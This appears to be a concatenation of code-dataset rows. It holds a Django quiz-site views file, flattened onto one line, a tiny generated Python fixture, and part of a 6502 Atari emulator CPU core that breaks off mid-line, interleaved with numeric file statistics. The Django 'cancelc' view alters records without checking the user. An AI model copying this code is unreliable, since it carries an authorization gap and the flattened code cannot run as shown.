from django.shortcuts import render, HttpResponse from .models import Questions, QuestionsCollection, Questionsliker from django.http import JsonResponse import random from django.forms.models import model_to_dict from django.contrib.auth.mixins import LoginRequiredMixin from django.views.generic import View, DetailView import json #垃圾分类类,随机生成 def hdetails(request): uid = request.user.id L = [random.randint(0, 76) for _ in range(6)] obj1 = Questions.objects.filter(category_id=1)[L[0]] obj2 = Questions.objects.filter(category_id=1)[L[1]] obj3 = Questions.objects.filter(category_id=1)[L[2]] obj4 = Questions.objects.filter(category_id=1)[L[3]] obj5 = Questions.objects.filter(category_id=1)[L[4]] obj6 = Questions.objects.filter(category_id=1)[L[5]] if not uid: msg = { 'obj1': obj1, 'obj2': obj2, 'obj3': obj3, 'obj4': obj4, 'obj5': obj5, 'obj6': obj6, 'cate': 'h', 'bor': 'bor_bottom', 'status': 'False' } return render(request, 'questions.html', msg) if uid: q_id1 = obj1.id q_id2 = obj2.id q_id3 = obj3.id q_id4 = obj4.id q_id5 = obj5.id q_id6 = obj6.id userinfo = QuestionsCollection.objects.filter(user_id=uid) questinfo1 = userinfo.filter(question_id=q_id1) questinfo2 = userinfo.filter(question_id=q_id2) questinfo3 = userinfo.filter(question_id=q_id3) questinfo4 = userinfo.filter(question_id=q_id4) questinfo5 = userinfo.filter(question_id=q_id5) questinfo6 = userinfo.filter(question_id=q_id6) userinfo1 = Questionsliker.objects.filter(user_id=uid) questinfo11 = userinfo1.filter(question_id=q_id1) questinfo12 = userinfo1.filter(question_id=q_id2) questinfo13 = userinfo1.filter(question_id=q_id3) questinfo14 = userinfo1.filter(question_id=q_id4) questinfo15 = userinfo1.filter(question_id=q_id5) questinfo16 = userinfo1.filter(question_id=q_id6) msg = { 'obj1': obj1, 'obj2': obj2, 'obj3': obj3, 'obj4': obj4, 'obj5': obj5, 'obj6': obj6, 'cate': 'h', 'bor': 'bor_bottom', 'status1': 'False', 'status2': 'False', 'status3': 'False', 'status4': 'False', 'status5': 'False', 'status6': 'False', 'status11': 'False', 'status12': 'False', 'status13': 'False', 'status14': 'False', 'status15': 'False', 'status16': 'False', } if questinfo1: if questinfo1[0].status: msg['status1'] = 'True' if questinfo2: if questinfo2[0].status: msg['status2'] = 'True' if questinfo3: if questinfo3[0].status: msg['status3'] = 'True' if questinfo4: if questinfo4[0].status: msg['status4'] = 'True' if questinfo5: if questinfo5[0].status: msg['status5'] = 'True' if questinfo6: if questinfo6[0].status: msg['status6'] = 'True' if questinfo11: if questinfo11[0].status: msg['status11'] = 'True' if questinfo12: if questinfo12[0].status: msg['status12'] = 'True' if questinfo13: if questinfo13[0].status: msg['status13'] = 'True' if questinfo14: if questinfo14[0].status: msg['status14'] = 'True' if questinfo15: if questinfo15[0].status: msg['status15'] = 'True' if questinfo16: if questinfo16[0].status: msg['status16'] = 'True' return render(request, 'questions.html', msg) #水资源类,随机生成 def sdetails(request): uid = request.user.id L = [random.randint(0, 21) for _ in range(6)] print(L) obj1 = Questions.objects.filter(category_id=2)[L[0]] obj2 = Questions.objects.filter(category_id=2)[L[1]] obj3 = Questions.objects.filter(category_id=2)[L[2]] obj4 = Questions.objects.filter(category_id=2)[L[3]] obj5 = Questions.objects.filter(category_id=2)[L[4]] obj6 = Questions.objects.filter(category_id=2)[L[5]] if not uid: msg = { 'obj1': obj1, 'obj2': obj2, 'obj3': obj3, 'obj4': obj4, 'obj5': obj5, 'obj6': obj6, 'cate': 's', 'bor': 'bor_bottom', 'status': 'False' } return render(request, 'questions.html', msg) if uid: q_id1 = obj1.id q_id2 = obj2.id q_id3 = obj3.id q_id4 = obj4.id q_id5 = obj5.id q_id6 = obj6.id userinfo = QuestionsCollection.objects.filter(user_id=uid) questinfo1 = userinfo.filter(question_id=q_id1) questinfo2 = userinfo.filter(question_id=q_id2) questinfo3 = userinfo.filter(question_id=q_id3) questinfo4 = userinfo.filter(question_id=q_id4) questinfo5 = userinfo.filter(question_id=q_id5) questinfo6 = userinfo.filter(question_id=q_id6) userinfo1 = Questionsliker.objects.filter(user_id=uid) questinfo11 = userinfo1.filter(question_id=q_id1) questinfo12 = userinfo1.filter(question_id=q_id2) questinfo13 = userinfo1.filter(question_id=q_id3) questinfo14 = userinfo1.filter(question_id=q_id4) questinfo15 = userinfo1.filter(question_id=q_id5) questinfo16 = userinfo1.filter(question_id=q_id6) msg = { 'obj1': obj1, 'obj2': obj2, 'obj3': obj3, 'obj4': obj4, 'obj5': obj5, 'obj6': obj6, 'cate': 's', 'bor': 'bor_bottom', 'status1': 'False', 'status2': 'False', 'status3': 'False', 'status4': 'False', 'status5': 'False', 'status6': 'False', 'status11': 'False', 'status12': 'False', 'status13': 'False', 'status14': 'False', 'status15': 'False', 'status16': 'False', } if questinfo1: if questinfo1[0].status: msg['status1'] = 'True' if questinfo2: if questinfo2[0].status: msg['status2'] = 'True' if questinfo3: if questinfo3[0].status: msg['status3'] = 'True' if questinfo4: if questinfo4[0].status: msg['status4'] = 'True' if questinfo5: if questinfo5[0].status: msg['status5'] = 'True' if questinfo6: if questinfo6[0].status: msg['status6'] = 'True' if questinfo11: if questinfo11[0].status: msg['status11'] = 'True' if questinfo12: if questinfo12[0].status: msg['status12'] = 'True' if questinfo13: if questinfo13[0].status: msg['status13'] = 'True' if questinfo14: if questinfo14[0].status: msg['status14'] = 'True' if questinfo15: if questinfo15[0].status: msg['status15'] = 'True' if questinfo16: if questinfo16[0].status: msg['status16'] = 'True' return render(request, 'questions.html', msg) #总类,随机生成 def adetails(request): uid = request.user.id L = [random.randint(0, 97) for _ in range(6)] print(L) obj1 = Questions.objects.all()[L[0]] obj2 = Questions.objects.all()[L[1]] obj3 = Questions.objects.all()[L[2]] obj4 = Questions.objects.all()[L[3]] obj5 = Questions.objects.all()[L[4]] obj6 = Questions.objects.all()[L[5]] if not uid: msg = { 'obj1': obj1, 'obj2': obj2, 'obj3': obj3, 'obj4': obj4, 'obj5': obj5, 'obj6': obj6, 'cate': 'a', 'bor': 'bor_bottom', 'status': 'False' } return render(request, 'questions.html', msg) if uid: q_id1 = obj1.id q_id2 = obj2.id q_id3 = obj3.id q_id4 = obj4.id q_id5 = obj5.id q_id6 = obj6.id userinfo = QuestionsCollection.objects.filter(user_id=uid) questinfo1 = userinfo.filter(question_id=q_id1) questinfo2 = userinfo.filter(question_id=q_id2) questinfo3 = userinfo.filter(question_id=q_id3) questinfo4 = userinfo.filter(question_id=q_id4) questinfo5 = userinfo.filter(question_id=q_id5) questinfo6 = userinfo.filter(question_id=q_id6) userinfo1 = Questionsliker.objects.filter(user_id=uid) questinfo11 = userinfo1.filter(question_id=q_id1) questinfo12 = userinfo1.filter(question_id=q_id2) questinfo13 = userinfo1.filter(question_id=q_id3) questinfo14 = userinfo1.filter(question_id=q_id4) questinfo15 = userinfo1.filter(question_id=q_id5) questinfo16 = userinfo1.filter(question_id=q_id6) msg = { 'obj1': obj1, 'obj2': obj2, 'obj3': obj3, 'obj4': obj4, 'obj5': obj5, 'obj6': obj6, 'cate': 'a', 'bor': 'bor_bottom', 'status1': 'False', 'status2': 'False', 'status3': 'False', 'status4': 'False', 'status5': 'False', 'status6': 'False', 'status11': 'False', 'status12': 'False', 'status13': 'False', 'status14': 'False', 'status15': 'False', 'status16': 'False', } if questinfo1: if questinfo1[0].status: msg['status1'] = 'True' if questinfo2: if questinfo2[0].status: msg['status2'] = 'True' if questinfo3: if questinfo3[0].status: msg['status3'] = 'True' if questinfo4: if questinfo4[0].status: msg['status4'] = 'True' if questinfo5: if questinfo5[0].status: msg['status5'] = 'True' if questinfo6: if questinfo6[0].status: msg['status6'] = 'True' if questinfo11: if questinfo11[0].status: msg['status11'] = 'True' if questinfo12: if questinfo12[0].status: msg['status12'] = 'True' if questinfo13: if questinfo13[0].status: msg['status13'] = 'True' if questinfo14: if questinfo14[0].status: msg['status14'] = 'True' if questinfo15: if questinfo15[0].status: msg['status15'] = 'True' if questinfo16: if questinfo16[0].status: msg['status16'] = 'True' return render(request, 'questions.html', msg) # 验证答案 def check(request): # answer = {'干垃圾': 1, '湿垃圾': 2, '可回收垃圾': 3, '有害垃圾': 4, '不进入垃圾系统': 5} answers = request.POST.get('answer') ids = request.POST.get('ids') print(ids) obj = Questions.objects.get(id=ids) if obj.answer == answers: msg = {'status': 'success', 'msg': 'yes', 'answer': obj.answer, 'you': answers} print('dui') return JsonResponse(msg) else: msg = {'status': 'success', 'msg': 'no', 'answer': obj.answer, 'you': answers} print('cuo') return JsonResponse(msg) # 取消收藏 def cancelc(request): cid = request.POST.get('cid') obj = QuestionsCollection.objects.get(question_id=cid) obj.status = 0 obj.save() msg = {'code': 200} return HttpResponse(json.dumps(msg)) #取消点赞 def canceld(request): uid = request.user.id did = request.POST.get('did') obj = Questionsliker.objects.get_or_create(user_id=uid, question_id=did) obj[0].status = False obj[0].save() msg = {'code': 200} return HttpResponse(json.dumps(msg)) # 收藏 class QuestionCollectionView(LoginRequiredMixin, View): def get(self, request, id): """ 当用户点击该题目时,首先获取该题目,并检查该题目是否已被操作过 修改当前题目的收藏状态 返回json数据 id => 题目的ID """ question = Questions.objects.get(id=id) result = QuestionsCollection.objects.get_or_create(user=request.user, question=question) # result是一个元组,第一参数是instance, 第二个参数是true和false # True表示新创建,False表示老数据 question_collection = result[0] if not result[1]: # print('x',answer_collection.status) if question_collection.status: question_collection.status = False else: question_collection.status = True question_collection.save() msg = model_to_dict(question_collection) ret_info = {"code": 200, "msg": msg} return JsonResponse(ret_info) #点赞 class QuestionlikeView(LoginRequiredMixin, View): def get(self, request, id): """ 当用户点击该题目时,首先获取该题目,并检查该题目是否已被操作过 修改当前题目的收藏状态 返回json数据 id => 题目的ID """ question = Questions.objects.get(id=id) result = Questionsliker.objects.get_or_create(user=request.user, question=question) # result是一个元组,第一参数是instance, 第二个参数是true和false # True表示新创建,False表示老数据 question_like_collection = result[0] if not result[1]: # print('x',answer_collection.status) if question_like_collection.status: question_like_collection.status = False else: question_like_collection.status = True question_like_collection.save() msg = model_to_dict(question_like_collection) print(msg) ret_info = {"code": 200, "msg": msg} return JsonResponse(ret_info)
33.894484
96
0.544007
1,485
14,134
5.072727
0.112458
0.020311
0.076464
0.081243
0.864065
0.837648
0.822514
0.804991
0.754547
0.717908
0
0.058581
0.329701
14,134
416
97
33.975962
0.736542
0.031414
0
0.798928
0
0
0.098005
0
0
0
0
0
0
1
0.021448
false
0
0.021448
0
0.080429
0.016086
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3ca81228b8defb4a1340682d304f1c7108de3cf3
128
py
Python
python/testData/completion/heavyStarPropagation/lib/_pkg0/_pkg0_0/_pkg0_0_0/_pkg0_0_0_1/_pkg0_0_0_1_0/_mod0_0_0_1_0_1.py
jnthn/intellij-community
8fa7c8a3ace62400c838e0d5926a7be106aa8557
[ "Apache-2.0" ]
2
2019-04-28T07:48:50.000Z
2020-12-11T14:18:08.000Z
python/testData/completion/heavyStarPropagation/lib/_pkg0/_pkg0_0/_pkg0_0_0/_pkg0_0_0_1/_pkg0_0_0_1_0/_mod0_0_0_1_0_1.py
Cyril-lamirand/intellij-community
60ab6c61b82fc761dd68363eca7d9d69663cfa39
[ "Apache-2.0" ]
173
2018-07-05T13:59:39.000Z
2018-08-09T01:12:03.000Z
python/testData/completion/heavyStarPropagation/lib/_pkg0/_pkg0_0/_pkg0_0_0/_pkg0_0_0_1/_pkg0_0_0_1_0/_mod0_0_0_1_0_1.py
Cyril-lamirand/intellij-community
60ab6c61b82fc761dd68363eca7d9d69663cfa39
[ "Apache-2.0" ]
2
2020-03-15T08:57:37.000Z
2020-04-07T04:48:14.000Z
name0_0_0_1_0_1_0 = None name0_0_0_1_0_1_1 = None name0_0_0_1_0_1_2 = None name0_0_0_1_0_1_3 = None name0_0_0_1_0_1_4 = None
14.222222
24
0.820313
40
128
1.875
0.175
0.266667
0.24
0.533333
0.88
0.88
0.746667
0
0
0
0
0.318182
0.140625
128
9
25
14.222222
0.363636
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
1
null
1
1
1
1
1
1
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
10
59515ecd45f9a927d3474b51348fad07efad17f0
33,848
py
Python
modules/emulator/pytari2600/cpu/core.py
5space/nesbot
38a9e8cadf0cbe41ee25e0850c244e2834a6e12c
[ "MIT" ]
17
2016-02-23T22:44:09.000Z
2022-03-16T02:39:15.000Z
modules/emulator/pytari2600/cpu/core.py
5space/nesbot
38a9e8cadf0cbe41ee25e0850c244e2834a6e12c
[ "MIT" ]
null
null
null
modules/emulator/pytari2600/cpu/core.py
5space/nesbot
38a9e8cadf0cbe41ee25e0850c244e2834a6e12c
[ "MIT" ]
4
2018-02-24T19:52:30.000Z
2020-11-30T00:38:21.000Z
from . import addressing from . import instructions from . import pc_state class Core(object): """ CPU Core - Contains op code mappings. """ def __init__(self, clocks, memory, pc_state): self.clocks = clocks self.memory = memory self.pc_state = pc_state # Different addressing modes self.aIZX = addressing.AddressIZX(self.pc_state, self.memory) self.aIZY = addressing.AddressIZY(self.pc_state, self.memory) self.aIMM = addressing.AddressIMM(self.pc_state, self.memory) self.aZP = addressing.AddressZP (self.pc_state, self.memory) self.aZPX = addressing.AddressZPX(self.pc_state, self.memory) self.aZPY = addressing.AddressZPY(self.pc_state, self.memory) self.aAbs = addressing.AddressAbs(self.pc_state, self.memory) self.aAbx = addressing.AddressAbx(self.pc_state, self.memory) self.aAby = addressing.AddressAby(self.pc_state, self.memory) self.aInd = addressing.AddressIndirect(self.pc_state, self.memory) self.aAcc = addressing.AddressAccumulator(self.pc_state, self.memory) # Different instruction types self.r = instructions.Reading(self.pc_state, self.memory) self.nullR = instructions.NullReading(self.pc_state, self.memory) self.aR = instructions.AccumulatorReading(self.pc_state, self.memory) self.w = instructions.Writing(self.pc_state, self.memory) self.regW = instructions.RegWriting(self.pc_state, self.memory) self.nullW = instructions.NullWriting(self.pc_state, self.memory) self.aW = instructions.AccumulatorWriting(self.pc_state, self.memory) self.instruction_exe = instructions.InstructionExec(self.pc_state) self.instruction_lookup = [False] * 256 self.PROGRAM_ENTRY_ADDR = 0xFFFC self.memory = memory self.pc_state.P.value = 0 self.pc_state.PC = 0x1000 def get_save_state(self): state = {} state['pc_state'] = self.pc_state.get_save_state() return state def set_save_state(self, state): self.pc_state.set_save_state(state['pc_state']) def reset(self): # 6502 Reset vector location. self.pc_state.PC = self.memory.read16(self.PROGRAM_ENTRY_ADDR) def initialise(self): # 6502 Reset vector location. self.populate_instruction_map() def step(self): op_code = self.memory.read(self.pc_state.PC) # This will raise an exception for unsupported op_code self.instruction_lookup[op_code].execute() def populate_instruction_map(self): dummy = pc_state.PC_Register() # Single byte instructions (including ASL, ROL and LSR in accumulator modes) self.instruction_lookup[0xEA] = instructions.SingleByteInstruction(self.clocks, self.pc_state, self.pc_state.A, self.pc_state.A, self.instruction_exe.NOP_exec) self.instruction_lookup[0x0A] = instructions.SingleByteInstruction(self.clocks, self.pc_state, self.pc_state.A, self.pc_state.A, self.instruction_exe.ASL_exec) self.instruction_lookup[0x4A] = instructions.SingleByteInstruction(self.clocks, self.pc_state, self.pc_state.A, self.pc_state.A, self.instruction_exe.LSR_exec) self.instruction_lookup[0xE8] = instructions.SingleByteInstruction(self.clocks, self.pc_state, self.pc_state.X, self.pc_state.X, self.instruction_exe.INC_exec) self.instruction_lookup[0xC8] = instructions.SingleByteInstruction(self.clocks, self.pc_state, self.pc_state.Y, self.pc_state.Y, self.instruction_exe.INC_exec) self.instruction_lookup[0xCA] = instructions.SingleByteInstruction(self.clocks, self.pc_state, self.pc_state.X, self.pc_state.X, self.instruction_exe.DEC_exec) self.instruction_lookup[0x88] = instructions.SingleByteInstruction(self.clocks, self.pc_state, self.pc_state.Y, self.pc_state.Y, self.instruction_exe.DEC_exec) self.instruction_lookup[0x18] = instructions.SingleByteInstruction(self.clocks, self.pc_state, dummy, dummy, self.instruction_exe.CLC_exec) self.instruction_lookup[0xD8] = instructions.SingleByteInstruction(self.clocks, self.pc_state, dummy, dummy, self.instruction_exe.CLD_exec) self.instruction_lookup[0x58] = instructions.SingleByteInstruction(self.clocks, self.pc_state, dummy, dummy, self.instruction_exe.CLI_exec) self.instruction_lookup[0xB8] = instructions.SingleByteInstruction(self.clocks, self.pc_state, dummy, dummy, self.instruction_exe.CLV_exec) self.instruction_lookup[0x38] = instructions.SingleByteInstruction(self.clocks, self.pc_state, dummy, dummy, self.instruction_exe.SEC_exec) self.instruction_lookup[0x78] = instructions.SingleByteInstruction(self.clocks, self.pc_state, dummy, dummy, self.instruction_exe.SEI_exec) self.instruction_lookup[0xF8] = instructions.SingleByteInstruction(self.clocks, self.pc_state, dummy, dummy, self.instruction_exe.SED_exec) # Break instruction, software 'interrupt' self.instruction_lookup[0x00] = instructions.BreakInstruction(self.clocks, self.pc_state, self.memory, None) # Register Transfers self.instruction_lookup[0x9A] = instructions.SingleByteInstruction(self.clocks, self.pc_state, self.pc_state.X, self.pc_state.S, self.instruction_exe.TNoStatus_exec) self.instruction_lookup[0xBA] = instructions.SingleByteInstruction(self.clocks, self.pc_state, self.pc_state.S, self.pc_state.X, self.instruction_exe.TNoStatus_exec) self.instruction_lookup[0x8A] = instructions.SingleByteInstruction(self.clocks, self.pc_state, self.pc_state.X, self.pc_state.A, self.instruction_exe.TStatus_exec) self.instruction_lookup[0xAA] = instructions.SingleByteInstruction(self.clocks, self.pc_state, self.pc_state.A, self.pc_state.X, self.instruction_exe.TStatus_exec) self.instruction_lookup[0xA8] = instructions.SingleByteInstruction(self.clocks, self.pc_state, self.pc_state.A, self.pc_state.Y, self.instruction_exe.TStatus_exec) self.instruction_lookup[0x98] = instructions.SingleByteInstruction(self.clocks, self.pc_state, self.pc_state.Y, self.pc_state.A, self.instruction_exe.TStatus_exec) # ADC self.instruction_lookup[0x61] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZX, self.r, self.nullW, self.instruction_exe.ADC_exec) self.instruction_lookup[0x69] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.r, self.nullW, self.instruction_exe.ADC_exec) self.instruction_lookup[0x65] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.nullW, self.instruction_exe.ADC_exec) self.instruction_lookup[0x75] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.r, self.nullW, self.instruction_exe.ADC_exec) self.instruction_lookup[0x71] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZY, self.r, self.nullW, self.instruction_exe.ADC_exec) self.instruction_lookup[0x6D] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.nullW, self.instruction_exe.ADC_exec) self.instruction_lookup[0x7D] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.nullW, self.instruction_exe.ADC_exec) self.instruction_lookup[0x79] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAby, self.r, self.nullW, self.instruction_exe.ADC_exec) # ASL self.instruction_lookup[0x06] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.w, self.instruction_exe.ASL_exec) self.instruction_lookup[0x16] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.r, self.w, self.instruction_exe.ASL_exec) self.instruction_lookup[0x0E] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.w, self.instruction_exe.ASL_exec) self.instruction_lookup[0x1E] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.w, self.instruction_exe.ASL_exec) # AND self.instruction_lookup[0x21] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZX, self.r, self.nullW, self.instruction_exe.AND_exec) self.instruction_lookup[0x29] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.r, self.nullW, self.instruction_exe.AND_exec) self.instruction_lookup[0x25] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.nullW, self.instruction_exe.AND_exec) self.instruction_lookup[0x35] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.r, self.nullW, self.instruction_exe.AND_exec) self.instruction_lookup[0x31] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZY, self.r, self.nullW, self.instruction_exe.AND_exec) self.instruction_lookup[0x2D] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.nullW, self.instruction_exe.AND_exec) self.instruction_lookup[0x3D] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.nullW, self.instruction_exe.AND_exec) self.instruction_lookup[0x39] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAby, self.r, self.nullW, self.instruction_exe.AND_exec) # BIT self.instruction_lookup[0x24] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.nullW, self.instruction_exe.BIT_exec) self.instruction_lookup[0x2C] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.nullW, self.instruction_exe.BIT_exec) # CMP self.instruction_lookup[0xC1] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZX, self.r, self.nullW, self.instruction_exe.CMP_exec) self.instruction_lookup[0xC9] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.r, self.nullW, self.instruction_exe.CMP_exec) self.instruction_lookup[0xC5] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.nullW, self.instruction_exe.CMP_exec) self.instruction_lookup[0xD5] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.r, self.nullW, self.instruction_exe.CMP_exec) self.instruction_lookup[0xD1] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZY, self.r, self.nullW, self.instruction_exe.CMP_exec) self.instruction_lookup[0xCD] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.nullW, self.instruction_exe.CMP_exec) self.instruction_lookup[0xDD] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.nullW, self.instruction_exe.CMP_exec) self.instruction_lookup[0xD9] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAby, self.r, self.nullW, self.instruction_exe.CMP_exec) # CPX self.instruction_lookup[0xE0] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.r, self.nullW, self.instruction_exe.CPX_exec) self.instruction_lookup[0xE4] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.nullW, self.instruction_exe.CPX_exec) self.instruction_lookup[0xEC] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.nullW, self.instruction_exe.CPX_exec) # CPY self.instruction_lookup[0xC0] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.r, self.nullW, self.instruction_exe.CPY_exec) self.instruction_lookup[0xC4] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.nullW, self.instruction_exe.CPY_exec) self.instruction_lookup[0xCC] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.nullW, self.instruction_exe.CPY_exec) # DEC self.instruction_lookup[0xC6] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.w, self.instruction_exe.DEC_exec) self.instruction_lookup[0xD6] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.r, self.w, self.instruction_exe.DEC_exec) self.instruction_lookup[0xCE] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.w, self.instruction_exe.DEC_exec) self.instruction_lookup[0xDE] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.w, self.instruction_exe.DEC_exec) # EOR self.instruction_lookup[0x41] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZX, self.r, self.nullW, self.instruction_exe.EOR_exec) self.instruction_lookup[0x49] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.r, self.nullW, self.instruction_exe.EOR_exec) self.instruction_lookup[0x45] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.nullW, self.instruction_exe.EOR_exec) self.instruction_lookup[0x55] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.r, self.nullW, self.instruction_exe.EOR_exec) self.instruction_lookup[0x51] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZY, self.r, self.nullW, self.instruction_exe.EOR_exec) self.instruction_lookup[0x4D] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.nullW, self.instruction_exe.EOR_exec) self.instruction_lookup[0x5D] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.nullW, self.instruction_exe.EOR_exec) self.instruction_lookup[0x59] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAby, self.r, self.nullW, self.instruction_exe.EOR_exec) # INC self.instruction_lookup[0xE6] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.w, self.instruction_exe.INC_exec) self.instruction_lookup[0xF6] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.r, self.w, self.instruction_exe.INC_exec) self.instruction_lookup[0xEE] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.w, self.instruction_exe.INC_exec) self.instruction_lookup[0xFE] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.w, self.instruction_exe.INC_exec) # LDA self.instruction_lookup[0xA1] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZX, self.r, self.nullW, self.instruction_exe.LDA_exec) self.instruction_lookup[0xA9] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.r, self.nullW, self.instruction_exe.LDA_exec) self.instruction_lookup[0xA5] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.nullW, self.instruction_exe.LDA_exec) self.instruction_lookup[0xB5] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.r, self.nullW, self.instruction_exe.LDA_exec) self.instruction_lookup[0xB1] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZY, self.r, self.nullW, self.instruction_exe.LDA_exec) self.instruction_lookup[0xAD] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.nullW, self.instruction_exe.LDA_exec) self.instruction_lookup[0xBD] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.nullW, self.instruction_exe.LDA_exec) self.instruction_lookup[0xB9] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAby, self.r, self.nullW, self.instruction_exe.LDA_exec) # LDX self.instruction_lookup[0xA2] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.r, self.nullW, self.instruction_exe.LDX_exec) self.instruction_lookup[0xA6] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.nullW, self.instruction_exe.LDX_exec) self.instruction_lookup[0xB6] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPY, self.r, self.nullW, self.instruction_exe.LDX_exec) self.instruction_lookup[0xAE] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.nullW, self.instruction_exe.LDX_exec) self.instruction_lookup[0xBE] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAby, self.r, self.nullW, self.instruction_exe.LDX_exec) # LDY self.instruction_lookup[0xA0] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.r, self.nullW, self.instruction_exe.LDY_exec) self.instruction_lookup[0xA4] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.nullW, self.instruction_exe.LDY_exec) self.instruction_lookup[0xB4] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.r, self.nullW, self.instruction_exe.LDY_exec) self.instruction_lookup[0xAC] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.nullW, self.instruction_exe.LDY_exec) self.instruction_lookup[0xBC] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.nullW, self.instruction_exe.LDY_exec) # LSR self.instruction_lookup[0x46] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.w, self.instruction_exe.LSR_exec) self.instruction_lookup[0x56] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZPX, self.r, self.w, self.instruction_exe.LSR_exec) self.instruction_lookup[0x4E] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbs, self.r, self.w, self.instruction_exe.LSR_exec) self.instruction_lookup[0x5E] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aAbx, self.r, self.w, self.instruction_exe.LSR_exec) # OR self.instruction_lookup[0x01] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIZX, self.r, self.nullW, self.instruction_exe.OR_exec) self.instruction_lookup[0x09] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aIMM, self.r, self.nullW, self.instruction_exe.OR_exec) self.instruction_lookup[0x05] = instructions.ReadWriteInstruction(self.clocks, self.pc_state, self.aZP, self.r, self.nullW, self.instruction_exe.OR_exec) self.instruction_lookup[0x15] = instructions.ReadWriteInstruction(self.clocks, 